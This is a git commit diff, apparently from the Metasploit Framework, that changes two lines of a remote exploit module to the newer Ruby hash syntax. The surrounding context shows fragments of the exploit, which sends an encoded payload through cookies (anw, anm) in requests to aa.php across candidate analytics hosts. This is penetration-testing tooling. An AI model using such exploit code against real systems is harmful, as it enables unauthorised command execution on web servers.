Use newer Ruby hash syntax

bug/bundler_fix
Jon Hart 2014-12-15 09:17:32 -08:00
parent c93dc04a52
commit f521e7d234
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 2 additions and 2 deletions

View File

@ -212,7 +212,7 @@ class Metasploit3 < Msf::Exploit::Remote
nil
end
def execute_command(cmd, opts = { :analytics_host => vhost })
def execute_command(cmd, opts = { analytics_host: vhost })
vuln_cookies = %w(anw anm)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'aa.php'),
@ -249,7 +249,7 @@ class Metasploit3 < Msf::Exploit::Remote
analytics_hosts.uniq.each do |host|
next if host.nil?
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
break if execute_command(payload.encoded, { :analytics_host => host })
break if execute_command(payload.encoded, analytics_host: host)
end
end
end